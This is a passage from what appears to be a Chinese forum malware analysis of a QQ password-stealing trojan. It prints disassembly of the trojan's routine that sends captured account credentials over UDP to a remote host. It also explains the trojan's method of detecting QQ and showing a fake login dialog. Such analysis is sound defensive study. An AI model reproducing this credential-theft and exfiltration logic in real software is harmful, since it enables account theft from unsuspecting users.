.text:0040103B E8 76 1F 00 00 call socket
.text:00401040 57 push edi ; cp
.text:00401041 8B F0 mov esi, eax
.text:00401043 E8 74 1F 00 00 call inet_addr
.text:00401048 68 E6 69 00 00 push 69E6h ; hostshort
.text:0040104D 89 44 24 10 mov dword ptr [esp+1B8h+to.sa_data+2], eax
.text:00401051 66 C7 44 24 0C 02 00 mov [esp+1B8h+to.sa_family], 2
.text:00401058 E8 65 1F 00 00 call htons
.text:0040105D 6A 10 push 10h ; tolen
.text:0040105F 8D 4C 24 0C lea ecx, [esp+1B8h+to]
.text:00401063 51 push ecx ; to
.text:00401064 6A 00 push 0 ; flags
.text:00401066 6A 51 push 51h ; len
.text:00401068 53 push ebx ; buf
.text:00401069 56 push esi ; s
.text:0040106A 66 89 44 24 22 mov word ptr [esp+1CCh+to.sa_data], ax
.text:0040106F E8 54 1F 00 00 call sendto
.text:00401074 83 F8 FF cmp eax, 0FFFFFFFFh
.text:00401077 74 2B jz short loc_4010A4
.text:00401079 56 push esi ; s
.text:0040107A E8 4F 1F 00 00 call closesocket
.text:0040107F E8 2C 1F 00 00 call WSACleanup
.text:00401084 B8 01 00 00 00 mov eax, 1
.text:00401089 5E pop esi
.text:0040108A 8B 8C 24 A8 01 00 00 mov ecx, [esp+1B0h+var_8]
.text:00401091 33 CC xor ecx, esp
.text:00401093 E8 3C 1F 00 00 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401098 81 C4 B0 01 00 00 add esp, 1B0h
.text:0040109E C3 retn
这里很显然就是把前面获取到的账号密码发送出去。
分析到这里,我们基本上搞明白这个木马的盗号原理,虽然代码看着有点多,但是真正有用的不多。这么木马的原理也很简单,就是查询当前活动窗口,看有没有QQ在运行,有的话就获取QQ号,然后弹出一个提示对话框,误导用户,当用户往弹出的对话框中输入密码然后点击“登陆”时,木马就会把账号密码发送出去,从而达到盗号的目的。 |
免费评分
-
查看全部评分
|